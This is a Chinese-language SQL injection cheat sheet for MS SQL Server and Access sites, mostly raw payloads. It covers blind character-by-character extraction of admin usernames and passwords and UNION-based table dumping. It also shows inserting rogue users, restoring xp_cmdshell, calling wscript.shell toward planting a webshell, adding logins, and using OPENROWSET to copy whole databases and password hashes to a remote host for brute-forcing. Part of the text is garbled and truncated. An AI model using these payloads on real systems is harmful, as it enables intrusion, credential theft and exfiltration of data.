1.判斷有無(wú)注入點(diǎn)
' ; and 1=1 and 1=2
2.猜表一般的表的名稱(chēng)無(wú)非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號(hào)數(shù)目 如果遇到0< 返回正確頁(yè)面 1<返回錯(cuò)誤頁(yè)面說(shuō)明帳號(hào)數(shù)目就是1個(gè)
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名稱(chēng) 在len( ) 括號(hào)里面加上我們想到的字段名稱(chēng).
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶(hù)字段名稱(chēng)name)>0)
and 1=(select count(*) from admin where len(密碼字段名稱(chēng)password)>0)
5.猜解各個(gè)字段的長(zhǎng)度 猜解長(zhǎng)度就是把>0變換 直到返回正確頁(yè)面為止
[code]
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯(cuò)誤
and 1=(select count(*) from admin where len(name)>5) 正確 長(zhǎng)度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯(cuò)誤 長(zhǎng)度是12
and 1=(select count(*) from admin where len(password)=12) 正確
[/code]
6.猜解字符
[code]
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶(hù)帳號(hào)的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶(hù)帳號(hào)的第二位[/code]
就這樣一次加一個(gè)字符這樣猜,猜到夠你剛才猜出來(lái)的多少位了就對(duì)了,帳號(hào)就算出來(lái)了
[code]
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- [/code]
這個(gè)查詢(xún)語(yǔ)句可以猜解中文的用戶(hù)和密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結(jié)果再轉(zhuǎn)換成字符.
[code]
'group by users.id having 1=1--
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
[/code]

看xp_cmdshell是否刪除
[code]
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--[/code]
xp_cmdshell被刪除，恢復(fù),支持絕對(duì)路徑的恢復(fù)

訪(fǎng)問(wèn)屬性：（配合寫(xiě)入一個(gè)webshell）
[code]
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'[/code]
爆庫(kù) 特殊技巧：:%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫(kù)名（從1到5都是系統(tǒng)的id，6以上才可以判斷）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數(shù)據(jù)庫(kù)名
[code]
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個(gè)表 假設(shè)為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來(lái)得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè)admin的一個(gè)字段,假設(shè)為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來(lái)暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶(hù)名 [/code]
依次可以得到密碼。。。。。假設(shè)存在user_id username ,password 等字段
[code]
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
[/code]
得到WEB路徑
[code]
;create table [dbo].[swap] ([swappass][char](255));--

[/code]
如果被限制則可以。
[code]
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')[/code]
查詢(xún)構(gòu)造：
[code]
SELECT * FROM news WHERE id=... AND topic=... AND .....

上面的語(yǔ)句是得到數(shù)據(jù)庫(kù)中的第一個(gè)用戶(hù)表,并把表名放在ffff用戶(hù)的郵箱字段中。
通過(guò)查看ffff的用戶(hù)資料可得第一個(gè)用表叫ad
然后根據(jù)表名ad得到這個(gè)表的ID 得到第二個(gè)表的名字
[code]
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--[/code]
這是將第一個(gè)表名更新到aaa的字段處。
讀出第一個(gè)表，第二個(gè)表可以這樣讀出來(lái)（在條件后加上 and name<>'剛才得到的表名'）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表，一個(gè)個(gè)的讀出，直到?jīng)]有為止。
讀字段是這樣：
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò)，得到字段名

1、 開(kāi)啟遠(yuǎn)程數(shù)據(jù)庫(kù)
基本語(yǔ)法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' )
參數(shù): (1) OLEDB Provider name
2、 其中連接字符串參數(shù)可以是任何端口用來(lái)連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table'
3.復(fù)制目標(biāo)主機(jī)的整個(gè)數(shù)據(jù)庫(kù)insert所有遠(yuǎn)程表到本地表。
基本語(yǔ)法：
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2
這行語(yǔ)句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程數(shù)據(jù)庫(kù)中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')
select * from user_database.dbo.syscolumns
復(fù)制數(shù)據(jù)庫(kù)：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table2') select * from database..table2
復(fù)制哈西表（HASH）登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后，就可以進(jìn)行暴力破解。
